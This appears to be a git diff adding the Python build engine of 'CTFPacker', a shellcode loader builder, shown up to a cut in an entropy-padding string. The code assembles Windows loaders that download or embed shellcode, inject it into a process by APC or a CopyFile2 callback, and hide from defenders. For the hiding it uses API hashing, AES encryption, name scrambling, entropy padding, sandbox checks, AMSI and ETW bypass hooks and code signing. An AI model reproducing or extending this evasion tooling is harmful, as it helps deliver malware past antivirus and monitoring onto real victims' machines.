diff --git a/Linux/core/build_config.py b/Linux/core/build_config.py new file mode 100644 index 0000000..68d9cbb --- /dev/null +++ b/Linux/core/build_config.py @@ -0,0 +1,64 @@ +# -*- coding: utf-8 -*- +from dataclasses import dataclass, field, asdict +from typing import Optional + + +@dataclass +class BuildConfig: + """All parameters needed for a CTFPacker build.""" + + # Core + mode: str = "staged" # "staged" or "stageless" + payload_path: str = "" # Path to .bin shellcode + format: str = "EXE" # "EXE" or "DLL" + inject_method: str = "apc" # "apc" or "copyfile2" + target_process: str = "RuntimeBroker.exe" # APC target process + output: str = "ctfloader" # Output base name + + # Options + encrypt: bool = False + scramble: bool = False + entropy_reduction: bool = False + sandbox_checks: bool = False # pre-flight uptime/RAM/CPU checks + sandbox_min_uptime_s: int = 300 # minimum system uptime in seconds + sandbox_min_ram_gb: int = 4 # minimum physical RAM in GB + sandbox_min_cpu: int = 2 # minimum logical CPU count + + # Trampoline hooks (TrampoLatté) + bypass_amsi: bool = False # hook AmsiScanBuffer -> AMSI_RESULT_CLEAN + bypass_etw: bool = False # hook EtwpEventWriteFull -> no-op RET + + # Debug + debug_mode: bool = False # enable OutputDebugString prints in trampoline.c + + # Staged-only: network + ip_address: str = "" + port: int = 8080 + path: str = "" + https: bool = False + user_agent: str = ( + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " + "AppleWebKit/537.36 (KHTML, like Gecko) " + "Chrome/120.0.0.0 Safari/537.36" + ) + + # Code signing + pfx: Optional[str] = None + pfx_password: Optional[str] = None + sign_description: str = "" # authenticode program name (-n in osslsigncode) + sign_url: str = "" # authenticode program URL (-i in osslsigncode) + + def to_dict(self) -> dict: + return asdict(self) + + def to_safe_dict(self) -> dict: + """Like to_dict but strips sensitive fields that should never be persisted.""" + d = asdict(self) + d.pop("pfx_password", None) + return d + + @classmethod + def from_dict(cls, d: dict) -> "BuildConfig": + # Filter out unknown keys for forward-compat + valid = {f.name for f in cls.__dataclass_fields__.values()} + return cls(**{k: v for k, v in d.items() if k in valid}) diff --git a/Linux/core/build_engine.py b/Linux/core/build_engine.py new file mode 100644 index 0000000..56af755 --- /dev/null +++ b/Linux/core/build_engine.py @@ -0,0 +1,1067 @@ +# -*- coding: utf-8 -*- +""" +Reusable build engine extracted from main.py. +Both CLI and GUI call into this module. +""" +import os +import sys +import re +import random +import shutil +import errno +import subprocess + +from core.build_config import BuildConfig +from core.hashing import Hasher +from core.encryption import Encryption + + +class BuildEngine: + """Runs a CTFPacker build given a BuildConfig.""" + + def __init__(self, log_callback=None): + """ + Args: + log_callback: callable(message: str, level: str) + level is one of: info, success, warning, error + If None, messages are silently dropped. + """ + self._log = log_callback or (lambda msg, lvl: None) + self._base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def build(self, config: BuildConfig) -> bool: + """Run the full build pipeline. Returns True on success.""" + try: + if config.mode == "staged": + return self._build_staged(config) + elif config.mode == "stageless": + return self._build_stageless(config) + else: + self._log(f"Unknown mode: {config.mode}", "error") + return False + except Exception as e: + self._log(f"Build failed with error: {e}", "error") + return False + + # ------------------------------------------------------------------ + # Staged build + # ------------------------------------------------------------------ + + def _build_staged(self, config: BuildConfig) -> bool: + self._log("Staged Payload selected.", "info") + self._log("Starting the process...", "warning") + + dst = self._setup_temp_dir("staged") + if dst is None: + return False + + try: + self._log("Corresponding template selected..", "info") + + # Replace download placeholders + self._replace_download_placeholders(dst, config) + + # Read payload + with open(config.payload_path, "rb") as f: + payload = f.read() + + # Set target process (APC only) + if config.inject_method == "apc": + self._set_target_process(dst, config) + + # Set injection method (must happen before hash replacement + # because APC injection code contains hash placeholders) + self._set_injection_method(dst, config) + + # Replace hashes (after injection method so all placeholders exist) + self._replace_hashes(dst) + + # Randomize callback temp filenames (inject.c always compiled in) + self._randomize_callback_filenames(dst) + + self._log("Template files modified !", "success") + + # Encryption + if config.encrypt: + self._handle_encryption_staged(dst, config, payload) + else: + self._handle_no_encryption_staged(dst, config, payload) + + # Scramble + if config.scramble: + self._handle_scramble_staged(dst) + self._randomize_optimization(dst) + + # Entropy reduction + if config.entropy_reduction: + self._handle_entropy_reduction(dst) + + # Sandbox checks (always resolve placeholder; inserts call only if enabled) + self._handle_sandbox_checks(dst, config) + + # Debug mode (must come before _replace_hashes) + self._handle_debug_mode(dst, config) + + # Trampoline hooks (AMSI / ETW bypass) + self._handle_trampoline_bypass(dst, config) + + # Compile and sign + return self._compile_and_sign(dst, config) + + except Exception as e: + self._log(f"Build error: {e}", "error") + self._cleanup(dst) + return False + + # ------------------------------------------------------------------ + # Stageless build + # ------------------------------------------------------------------ + + def _build_stageless(self, config: BuildConfig) -> bool: + self._log("Stageless Payload selected.", "info") + self._log("Starting the process...", "warning") + + dst = self._setup_temp_dir("stageless") + if dst is None: + return False + + try: + # Read payload + with open(config.payload_path, "rb") as f: + raw_payload = f.read() + + payload_hex = ', '.join(f"0x{b:02x}" for b in raw_payload) + + # Set target process (APC only) + if config.inject_method == "apc": + self._set_target_process(dst, config) + + # Set injection method (must happen before hash replacement + # because APC injection code contains hash placeholders) + self._set_injection_method(dst, config) + + # Replace hashes (after injection method so all placeholders exist) + self._replace_hashes(dst) + + # Randomize callback temp filenames (inject.c always compiled in) + self._randomize_callback_filenames(dst) + + self._log("Template files modified !", "success") + + # Encryption + if config.encrypt: + self._handle_encryption_stageless(dst, config, raw_payload) + else: + self._handle_no_encryption_stageless(dst, config, payload_hex) + + # Scramble + if config.scramble: + self._handle_scramble_stageless(dst) + self._randomize_optimization(dst) + + # Entropy reduction + if config.entropy_reduction: + self._handle_entropy_reduction(dst) + + # Sandbox checks (always resolve placeholder; inserts call only if enabled) + self._handle_sandbox_checks(dst, config) + + # Debug mode (must come before _replace_hashes) + self._handle_debug_mode(dst, config) + + # Trampoline hooks (AMSI / ETW bypass) + self._handle_trampoline_bypass(dst, config) + + # Compile and sign + return self._compile_and_sign(dst, config) + + except Exception as e: + self._log(f"Build error: {e}", "error") + self._cleanup(dst) + return False + + # ------------------------------------------------------------------ + # Shared helpers + # ------------------------------------------------------------------ + + def _setup_temp_dir(self, template_name: str) -> str: + """Copy template files to a temp .ctfpacker directory. Returns path or None.""" + src = os.path.join(self._base_dir, "templates", template_name) + dst = os.path.join(self._base_dir, ".ctfpacker") + + try: + shutil.copytree(src, dst) + except OSError as e: + if e.errno == errno.EEXIST: + shutil.rmtree(dst) + shutil.copytree(src, dst) + else: + self._log(f"Error setting up temp dir: {e}", "error") + return None + return dst + + def _replace_hashes(self, dst: str): + """Replace hash placeholders in all .c/.h files.""" + seed = random.randint(5, 20) + initial_hash = random.randint(2000, 9000) + + replacements = { + "#-INITIAL_HASH_VALUE-#": str(initial_hash), + "#-INITIAL_SEED_VALUE-#": str(seed), + "#-NTDLL_VALUE-#": Hasher.Hasher("NTDLL.DLL", seed, initial_hash), + "#-KERNEL32_VALUE-#": Hasher.Hasher("KERNEL32.DLL", seed, initial_hash), + "#-KERNELBASE_VALUE-#": Hasher.Hasher("KERNELBASE.DLL", seed, initial_hash), + "#-DAPS_VALUE-#": Hasher.Hasher("DebugActiveProcessStop", seed, initial_hash), + "#-CREATEPROCESSA_VALUE-#": Hasher.Hasher("CreateProcessA", seed, initial_hash), + "#-NTMVOS_VALUE-#": Hasher.Hasher("NtMapViewOfSection", seed, initial_hash), + # sandbox.c API hashing + "#-GETTICKCOUNT64_VALUE-#": Hasher.Hasher("GetTickCount64", seed, initial_hash), + "#-GLOBALMEMORYSTATUSEX_VALUE-#": Hasher.Hasher("GlobalMemoryStatusEx", seed, initial_hash), + "#-GETSYSTEMINFO_VALUE-#": Hasher.Hasher("GetSystemInfo", seed, initial_hash), + # trampoline.c API hashing + "#-AMSI_VALUE-#": Hasher.Hasher("AMSI.DLL", seed, initial_hash), + "#-AMSISCANBUFFER_VALUE-#": Hasher.Hasher("AmsiScanBuffer", seed, initial_hash), + "#-ETWEVENTWRITEEX_VALUE-#": Hasher.Hasher("EtwEventWriteEx", seed, initial_hash), + "#-ETWEVENTWRITE_VALUE-#": Hasher.Hasher("EtwEventWrite", seed, initial_hash), + "#-ETWEVENTWRITEFULL_VALUE-#": Hasher.Hasher("EtwEventWriteFull", seed, initial_hash), + "#-ETWEVENTWRITETRANSFER_VALUE-#": Hasher.Hasher("EtwEventWriteTransfer", seed, initial_hash), + } + + for filename in os.listdir(dst): + if filename.endswith(".c") or filename.endswith(".h"): + filepath = os.path.join(dst, filename) + with open(filepath, "r") as f: + data = f.read() + for placeholder, value in replacements.items(): + data = data.replace(placeholder, value) + with open(filepath, "w") as f: + f.write(data) + + def _replace_download_placeholders(self, dst: str, config: BuildConfig): + """Replace IP/port/path/https/user-agent placeholders in download.c.""" + filepath = os.path.join(dst, "download.c") + with open(filepath, "r") as f: + data = f.read() + + use_https = "1" if config.https else "0" + data = data.replace("#-IP_VALUE-#", config.ip_address) + data = data.replace("#-PORT_VALUE-#", str(config.port)) + data = data.replace("#-PATH_VALUE-#", config.path) + data = data.replace("#-USE_HTTPS-#", use_https) + data = data.replace("#-USER_AGENT-#", config.user_agent) + + with open(filepath, "w") as f: + f.write(data) + + def _set_target_process(self, dst: str, config: BuildConfig): + """Set the APC injection target process placeholder. + + Instead of a plain string literal (visible in .rdata via `strings`), + the process name is emitted as a stack-style char array so it does not + appear as a contiguous null-terminated string in the binary. + """ + self._log("Setting APC injection target process...", "warning") + + # Build a char-by-char array initialiser, e.g. 'R','u','n',... ,'\0' + chars = ', '.join(f"'{c}'" for c in config.target_process) + char_decl = f"static char TARGET_PROCESS[] = {{{chars}, '\\0'}};" + + target_file = "main.c" if config.format != "DLL" else "main_dll.c" + filepath = os.path.join(dst, target_file) + + with open(filepath, "r") as f: + data = f.read() + # Replace the whole #define line — not just the inner placeholder — + # so no string literal ever ends up in the binary. + data = data.replace('#define TARGET_PROCESS "#-TARGET_PROCESS-#"', char_decl) + with open(filepath, "w") as f: + f.write(data) + + self._log(f"Target APC injection process set to {config.target_process} !", "success") + + def _set_injection_method(self, dst: str, config: BuildConfig): + """Replace injection method placeholder with the appropriate code.""" + self._log("Setting injection method...", "warning") + + if config.inject_method == "apc": + injection_code = '''//printf("[i] Injecting the shellcode into the process..\\n"); +\t// Doing the APC Injection +\tif (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) { + +\t\treturn -1; +\t} + +\tSleep(1500); +\t//printf("[i] Running the shellcode via NtQueueApcThread..\\n"); +\t// Running the thread via QueueAPCThread +\tif ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) { + +\t\t//printf("[-] NtQueueApcThrad failed!\\n"); +\t\treturn -1; +\t} +\t +\t// API Hashing +\tcDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#); + +\t//printf("[i] Position of DAPsu: 0x%p\\n", cDAPSu); + +\tSleep(1000); +\t// Stopping the debugging of the process, which launches the payload +\tcDAPSu(dwProcessId); +\t//printf("[+] Payload executed!\\n");''' + elif config.inject_method == "callback": + injection_code = '''//printf("[i] Executing shellcode via CopyFile2 callback..\\n"); +\t// Doing Callback Injection +\tif (!CallbackInjection(pClearText, sEncPayload, &pProcess)) { + +\t\treturn -1; +\t} +\t +\t//printf("[+] Payload executed via callback!\\n");''' + + target_file = "main.c" if config.format != "DLL" else "main_dll.c" + filepath = os.path.join(dst, target_file) + + with open(filepath, "r") as f: + data = f.read() + data = data.replace("// #-INJECTION_METHOD_PLACEHOLDER-#", injection_code) + + # CopyFile2 injection doesn't need a suspended process — + # comment out CreateSuspendedProcess and its surrounding sleeps/prints + if config.inject_method == "copyfile2": + lines = data.splitlines(keepends=True) + in_csp_block = False + for i in range(len(lines)): + # Start of the CreateSuspendedProcess block + if "Creating suspended process" in lines[i] or "Creating a suspeneded process" in lines[i]: + in_csp_block = True + if in_csp_block: + lines[i] = "//" + lines[i] + # End after the closing brace of the if-block + if "Process created with PID" in lines[i]: + in_csp_block = False + data = ''.join(lines) + + with open(filepath, "w") as f: + f.write(data) + + self._log(f"Injection method set to {config.inject_method} !", "success") + + # ------------------------------------------------------------------ + # Staged encryption + # ------------------------------------------------------------------ + + @staticmethod + def _staged_bin_path(config: BuildConfig) -> str: + """Return the path where the staged .bin payload file should be written. + + The filename is derived from the server path parameter (config.path / -pa) + so the file can be dropped straight into the HTTP server root without + manual renaming. E.g. -pa /shellcode.bin → /shellcode.bin. + """ + # Strip URL-style leading slashes and take only the last component. + server_path = config.path.strip('/\\') + filename = os.path.basename(server_path) if server_path else "" + if not filename: + filename = "shellcode.bin" + + # Place the file in the same directory as the output .exe. + exe_base = config.output or "ctfloader" + exe_root, _ = os.path.splitext(exe_base) + out_dir = os.path.dirname(exe_root) + if out_dir: + os.makedirs(out_dir, exist_ok=True) + return os.path.join(out_dir, filename) + return filename + + def _handle_encryption_staged(self, dst: str, config: BuildConfig, payload: bytes): + self._log("Encryption selected.", "info") + self._log("Encrypting the payload...", "warning") + + enc_payload, key, iv = Encryption.EncryptAES(payload) + + # Name the .bin from the server path (-pa) so it matches what the loader requests. + output_bin = self._staged_bin_path(config) + + # Guard: if the resolved .bin path is the same file as the payload, + # writing the encrypted data would silently clobber the original shellcode. + if os.path.abspath(output_bin) == os.path.abspath(config.payload_path): + root = os.path.splitext(output_bin)[0] + output_bin = root + "_enc.bin" + self._log( + f"Output .bin path collides with payload — saving encrypted payload to " + f"{os.path.basename(output_bin)} instead", + "warning" + ) + + if os.path.exists(output_bin): + os.remove(output_bin) + with open(output_bin, "wb") as f: + f.write(enc_payload) + + # Replace key/iv in main*.c files + for filename in os.listdir(dst): + if filename.startswith("main") and filename.endswith(".c"): + filepath = os.path.join(dst, filename) + with open(filepath, "r") as f: + data = f.read() + data = data.replace("#-KEY_VALUE-#", key) + data = data.replace("#-IV_VALUE-#", iv) + with open(filepath, "w") as f: + f.write(data) + + self._log(f"Payload encrypted and saved to {os.path.abspath(output_bin)} !", "success") + + def _handle_no_encryption_staged(self, dst: str, config: BuildConfig, payload: bytes): + self._log("Encryption not selected.", "info") + self._log("Compiling the loader...", "warning") + + for filename in os.listdir(dst): + if filename.startswith("main") and filename.endswith(".c"): + filepath = os.path.join(dst, filename) + with open(filepath, "r") as f: + data = f.readlines() + + for i in range(len(data)): + if '#include "AES_128_CBC.h"' in data[i]: + data[i] = f"//{data[i]}" + if "AES_CTX" in data[i]: + data[i] = f"\t//{data[i]}" + if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in data[i]: + data[i] = f"//{data[i]}" + if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in data[i]: + data[i] = f"//{data[i]}" + if "Starting the decryption..." in data[i]: + data[i] = f"\t//{data[i]}" + if "pClearText = (PBYTE)malloc(sEncPayload);" in data[i]: + data[i] = f"\t//{data[i]}" + if "AES_DecryptInit(&ctx, aes_k, aes_i);" in data[i]: + data[i] = f"\t//{data[i]}" + if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in data[i]: + data[i] = f"\t//{data[i]}" + if "Payload decrypted at postion: 0x%p with size of %zu" in data[i]: + data[i] = f"\t//{data[i]}" + if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in data[i]: + data[i] = "\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {" + if "CallbackInjection(pClearText," in data[i]: + data[i] = data[i].replace("CallbackInjection(pClearText,", "CallbackInjection((PBYTE) pEncPayload,") + if "SecureZeroMemory(aes_k," in data[i]: + data[i] = f"\t//{data[i]}" + if "SecureZeroMemory(aes_i," in data[i]: + data[i] = f"\t//{data[i]}" + if "SecureZeroMemory(&ctx," in data[i]: + data[i] = f"\t//{data[i]}" + + with open(filepath, "w") as f: + f.writelines(data) + + # Name the .bin from the server path (-pa) so it matches what the loader requests. + output_bin = self._staged_bin_path(config) + # Only copy when the source and destination differ — same path is a no-op + # and shutil.copy would raise SameFileError on most platforms. + if os.path.abspath(config.payload_path) != os.path.abspath(output_bin): + shutil.copy(config.payload_path, output_bin) + + # ------------------------------------------------------------------ + # Stageless encryption + # ------------------------------------------------------------------ + + def _handle_encryption_stageless(self, dst: str, config: BuildConfig, raw_payload: bytes): + self._log("Encryption selected.", "info") + self._log("Encrypting the payload...", "warning") + + enc_payload, key, iv = Encryption.EncryptAES(raw_payload) + hex_payload = ', '.join(f"0x{b:02x}" for b in enc_payload) + + for filename in os.listdir(dst): + if filename.startswith("main") and filename.endswith(".c"): + filepath = os.path.join(dst, filename) + with open(filepath, "r") as f: + data = f.read() + data = data.replace("#-KEY_VALUE-#", key) + data = data.replace("#-IV_VALUE-#", iv) + data = data.replace("#-PAYLOAD_VALUE-#", hex_payload) + with open(filepath, "w") as f: + f.write(data) + + self._log("Payload encrypted and saved into payload[] variable in main.c !", "success") + + def _handle_no_encryption_stageless(self, dst: str, config: BuildConfig, payload_hex: str): + self._log("Encryption not selected.", "info") + self._log("Compiling the loader...", "warning") + + for filename in os.listdir(dst): + if filename.startswith("main") and filename.endswith(".c"): + filepath = os.path.join(dst, filename) + with open(filepath, "r") as f: + data = f.readlines() + + for i in range(len(data)): + if '#include "AES_128_CBC.h"' in data[i]: + data[i] = f"//{data[i]}" + if "AES_CTX" in data[i]: + data[i] = f"\t//{data[i]}" + if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in data[i]: + data[i] = f"//{data[i]}" + if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in data[i]: + data[i] = f"//{data[i]}" + if "Starting the decryption..." in data[i]: + data[i] = f"\t//{data[i]}" + if "pClearText = (PBYTE)malloc(sEncPayload);" in data[i]: + data[i] = f"\t//{data[i]}" + if "AES_DecryptInit(&ctx, aes_k, aes_i);" in data[i]: + data[i] = f"\t//{data[i]}" + if "AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload)" in data[i]: + data[i] = f"\t//{data[i]}" + if "Payload decrypted at postion: 0x%p with size of %zu" in data[i]: + data[i] = f"\t//{data[i]}" + if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in data[i]: + data[i] = "\tif (!APCInjection(hProcess, (PVOID) &payload, sEncPayload, &pProcess)) {" + if "CallbackInjection(pClearText," in data[i]: + data[i] = data[i].replace("CallbackInjection(pClearText,", "CallbackInjection((PBYTE) payload,") + if "#-PAYLOAD_VALUE-#" in data[i]: + data[i] = data[i].replace("#-PAYLOAD_VALUE-#", payload_hex) + if "SecureZeroMemory(aes_k," in data[i]: + data[i] = f"\t//{data[i]}" + if "SecureZeroMemory(aes_i," in data[i]: + data[i] = f"\t//{data[i]}" + if "SecureZeroMemory(&ctx," in data[i]: + data[i] = f"\t//{data[i]}" + + with open(filepath, "w") as f: + f.writelines(data) + + # ------------------------------------------------------------------ + # Scramble (staged) + # ------------------------------------------------------------------ + + def _handle_scramble_staged(self, dst: str): + self._log("Scrambling selected.", "info") + self._log("Scrambling the loader...", "warning") + + functions = [ + "HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", + "Unhook", "AES_DecryptInit", "AES_DecryptBuffer", "CreateSuspendedProcess", + "APCInjection", "CallbackInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", + "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit", "GetContent", + "NTAVM", "NTPVM", "NTWVM", "NTQAT" + ] + + variables = [ + "sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", + "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId" + ] + + name_map = self._generate_name_map(functions + variables) + self._apply_scramble(dst, functions + variables, name_map) + + # Scramble variables in main*.c files + for filename in os.listdir(dst): + if filename.startswith("main") and filename.endswith(".c"): + filepath = os.path.join(dst, filename) + with open(filepath, "r") as f: + data = f.read() + for var in variables: + data = self._word_boundary_replace(data, var, name_map[var]) + with open(filepath, "w") as f: + f.write(data) + + self._log("Loader scrambled !", "success") + + # ------------------------------------------------------------------ + # Scramble (stageless) + # ------------------------------------------------------------------ + + def _handle_scramble_stageless(self, dst: str): + self._log("Scrambling selected.", "info") + self._log("Scrambling the loader...", "warning") + + functions = [ + "HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", + "Unhook", "AES_DecryptInit", "AES_DecryptBuffer", "CreateSuspendedProcess", + "APCInjection", "CallbackInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", + "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit", + "NTAVM", "NTPVM", "NTWVM", "NTQAT" + ] + + variables = [ + "sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", + "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId", "payload" + ] + + name_map = self._generate_name_map(functions + variables) + self._apply_scramble(dst, functions + variables, name_map) + + # Scramble variables in main*.c files + for filename in os.listdir(dst): + if filename.startswith("main") and filename.endswith(".c"): + filepath = os.path.join(dst, filename) + with open(filepath, "r") as f: + data = f.read() + for var in variables: + data = self._word_boundary_replace(data, var, name_map[var]) + with open(filepath, "w") as f: + f.write(data) + + self._log("Loader scrambled !", "success") + + # ------------------------------------------------------------------ + # Scramble helpers + # ------------------------------------------------------------------ + + @staticmethod + def _generate_random_name(): + patterns = [ + lambda: ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=random.randint(8, 32))), + lambda: random.choice('abcdefghijklmnopqrstuvwxyz') * random.randint(5, 64), + lambda: ''.join([random.choice('abcdefghijklmnopqrstuvwxyz') + + random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') + for _ in range(random.randint(4, 16))]), + lambda: random.choice('abcdefghijklmnopqrstuvwxyz_') + ''.join( + random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_', + k=random.randint(9, 24))) + ] + return random.choice(patterns)() + + def _generate_name_map(self, names: list) -> dict: + used = set() + mapping = {} + for name in names: + new = self._generate_random_name() + while new in used: + new = self._generate_random_name() + used.add(new) + mapping[name] = new + return mapping + + @staticmethod + def _word_boundary_replace(data: str, name: str, replacement: str) -> str: + """Replace name only at word boundaries (not after . or ->).""" + # Negative lookbehind: don't match after '.' or '->' + pattern = r'(?)\b' + re.escape(name) + r'\b' + return re.sub(pattern, replacement, data) + + def _apply_scramble(self, dst: str, names: list, name_map: dict): + """Replace function/variable names in all .c/.h/.asm files.""" + for filename in os.listdir(dst): + if filename.endswith((".c", ".h", ".asm")): + filepath = os.path.join(dst, filename) + with open(filepath, "r") as f: + data = f.read() + for name in names: + data = self._word_boundary_replace(data, name, name_map[name]) + with open(filepath, "w") as f: + f.write(data) + + def _randomize_callback_filenames(self, dst: str): + """Replace the #-CALLBACK_SRC_TMP-# / #-CALLBACK_DST_TMP-# placeholders + in inject.c with random hex filenames so the strings 'ctf_source.tmp' + and 'ctf_dest.tmp' never appear in the binary. + """ + hex_chars = '0123456789abcdef' + src_name = ''.join(random.choices(hex_chars, k=12)) + '.tmp' + dst_name = ''.join(random.choices(hex_chars, k=12)) + '.tmp' + + filepath = os.path.join(dst, "inject.c") + with open(filepath, "r") as f: + data = f.read() + data = data.replace("#-CALLBACK_SRC_TMP-#", src_name) + data = data.replace("#-CALLBACK_DST_TMP-#", dst_name) + with open(filepath, "w") as f: + f.write(data) + + def _randomize_optimization(self, dst: str): + levels = ['-O1', '-O2', '-O3', '-Os', '-Oz'] + chosen = random.choice(levels) + self._log(f"Using random optimization level: {chosen}", "warning") + + filepath = os.path.join(dst, "Makefile") + with open(filepath, "r") as f: + data = f.read() + data = data.replace('-O0', chosen) + with open(filepath, "w") as f: + f.write(data) + + # ------------------------------------------------------------------ + # Entropy reduction + # ------------------------------------------------------------------ + + def _handle_entropy_reduction(self, dst: str): + """Write entropy_text.c with a large English string constant to reduce binary entropy. + + The constant is declared __attribute__((used)) volatile so the compiler + and linker both retain it in the .rdata section of the PE image. + Comments are stripped at compile time and have no effect on entropy — + only compiled-in data does. + """ + self._log("Entropy reduction selected.", "info") + self._log("Injecting English text padding...", "warning") + + # ~7 KB of natural English prose from public-domain works (Project Gutenberg). + # Adjacent C string literals are concatenated by the compiler. + # + # NOTE: __attribute__((used)) alone is NOT enough — with -fdata-sections + # and -Wl,--gc-sections the linker GCs data sections unreachable from the + # entry point even if the compiler kept them in the .o file. + # The __attribute__((constructor)) function runs before WinMain/DllMain via + # the CRT .init_array section (which is always retained), and its reference + # to _ctfp_entropy_text forces the linker to keep the text section too. + entropy_c = ( + '#include \n\n' + 'volatile const char _ctfp_entropy_text[] =\n' + ' "Call me Ishmael. Some years ago, never mind how long precisely, having '\ + 'little money in my pocket and nothing particular to interest me on shore, I '\ + 'thought I would sail about a little and see the watery part of the world. It '\ + 'is a way I have of driving off the spleen and regulating the circulation. '\ + 'Whenever I find myself growing grim about the mouth, whenever it is a damp, '\ + 'drizzly November in my soul, whenever I find myself involuntarily pausing '\ + 'before coffin warehouses and bringing up the rear of every funeral I meet, '\ + 'and especially whenever my hypos get such an upper hand of me that it requires '\ + 'a strong moral principle to prevent me from deliberately stepping into the '\ + 'street and methodically knocking people\'s hats off, then I account it high '\ + 'time to get to sea as soon as I can. This is my substitute for pistol and '\ + 'ball. With a philosophical flourish Cato throws himself upon his sword; I '\ + 'quietly take to the ship. There is nothing surprising in this. If they only '\ + 'knew it, almost all men in their degree, some time or other, cherish very '\ + 'nearly the same feelings towards the ocean with me. "\n' + ' "It is a truth universally acknowledged, that a single man in possession '\ + 'of a good fortune, must be in want of a wife. However little known the '\ + 'feelings or views of such a man may be on his first entering a neighbourhood, '\ + 'this truth is so well fixed in the minds of the surrounding families, that he '\ + 'is considered as the rightful property of some one or other of their daughters. '\ + 'My dear Mr. Bennet, said his lady to him one day, have you heard that '\ + 'Netherfield Park is let at last? Mr. Bennet replied that he had not. But it '\ + 'is, returned she, for Mrs. Long has just been here, and she told me all about '\ + 'it. Mr. Bennet made no answer. Do you not want to know who has taken it? '\ + 'cried his wife impatiently. You want to tell me, and I have no objection to '\ + 'hearing it. This was invitation enough. Why, my dear, you must know, Mrs. '\ + 'Long says that Netherfield is taken by a young man of large fortune from the '\ + 'north of England. "\n' + ' "To Sherlock Holmes she is always the woman. I have seldom heard him '\ + 'mention her under any other name. In his eyes she eclipses and predominates '\ + 'the whole of her sex. It was not that he felt any emotion akin to love for '\ + 'Irene Adler. All emotions, and that one particularly, were abhorrent to his '\ + 'cold, precise but admirably balanced mind. He was, I take it, the most perfect '\ + 'reasoning and observing machine that the world has seen, but as a lover he '\ + 'would have placed himself in a false position. He never spoke of the softer '\ + 'passions, save with a gibe and a sneer. They were admirable things for the '\ + 'observer, excellent for drawing the veil from men\'s motives and actions. But '\ + 'for the trained reasoner to admit such intrusions into his own delicate and '\ + 'finely adjusted temperament was to introduce a distracting factor which might '\ + 'throw a doubt upon all his mental results. Grit in a sensitive instrument, or '\ + 'a crack in one of his own high-power lenses, would not be more disturbing '\ + 'than a strong emotion in a nature such as his. "\n' + ' "Among the many problems which have been submitted to my friend Mr. '\ + 'Sherlock Holmes for solution during the years of our intimacy, there were some '\ + 'which involved the consideration of large public questions. These he solved '\ + 'with a quiet efficiency that I have found it difficult to equal. The Adventure '\ + 'of the Blue Carbuncle was one of those simpler cases which had an unusual '\ + 'interest attached to them. It was about three o\'clock on a bitterly cold '\ + 'afternoon when he opened the door and entered my consulting room, dragging '\ + 'with him a great blue carbuncle that glittered with a cold blue light. '\ + 'I see, Watson, he said, that you have lately been in Afghanistan, I perceive. '\ + 'How on earth did you know that? I asked in astonishment. Never mind, said he, '\ + 'chuckling to himself. The question now is about the blue carbuncle. This stone '\ + 'is not yet twenty years old. It came from the Amoy River in southern China. '\ + 'It has been described as the most dangerous piece of property in the world. "\n' + ' "The thousand injuries of Fortunato I had borne as I best could, but '\ + 'when he ventured upon insult I vowed revenge. You, who so well know the nature '\ + 'of my soul, will not suppose, however, that I gave utterance to a threat. At '\ + 'length I would be avenged; this was a point definitively settled, but the very '\ + 'definitiveness with which it was resolved precluded the idea of risk. I must '\ + 'not only punish but punish with impunity. A wrong is unredressed when '\ + 'retribution overtakes its redresser. It is equally unredressed when the '\ + 'avenger fails to make himself felt as such to him who has done the wrong. '\ + 'It must be understood that neither by word nor deed had I given Fortunato '\ + 'cause to doubt my good will. I continued, as was my wont, to smile in his '\ + 'face, and he did not perceive that my smile now was at the thought of his '\ + 'immolation. He had a weak point, this Fortunato, although in other regards '\ + 'he was a man to be respected and even feared. He prided himself on his '\ + 'connoisseurship in wine. Few Italians have the true virtuoso spirit. "\n' + ' "It was the best of times, it was the worst of times, it was the age of '\ + 'wisdom, it was the age of foolishness, it was the epoch of belief, it was the '\ + 'epoch of incredulity, it was the season of Light, it was the season of '\ + 'Darkness, it was the spring of hope, it was the winter of despair, we had '\ + 'everything before us, we had nothing before us, we were all going direct to '\ + 'Heaven, we were all going direct the other way. There were a king with a large '\ + 'jaw and a queen with a plain face on the throne of England; there were a king '\ + 'with a large jaw and a queen with a fair face on the throne of France. In both '\ + 'countries it was clearer than crystal to the lords of the State preserves of '\ + 'loaves and fishes, that things in general were settled for ever. "\n' + ' "The man in black fled across the desert, and the Gunslinger followed. '\ + 'The desert was the apotheosis of all deserts, huge, standing to the sky for '\ + 'what looked like eternity in all directions. It was white and blinding and '\ + 'waterless and without feature save for the faint, cloudy haze of the '\ + 'mountains which sketched themselves on the horizon and the devil-grass which '\ + 'brought sweet water and the occasional bird. The Gunslinger walked stolidly, '\ + 'not hurrying, not loafing. A hide waterbag was slung around his middle like '\ + 'a bloated sausage. It was almost full. He had progressed through the days '\ + 'in a state of grace, and he felt that later something would catch up with '\ + 'him, some terrible reckoning, but for now he walked and did not think much '\ + 'at all. 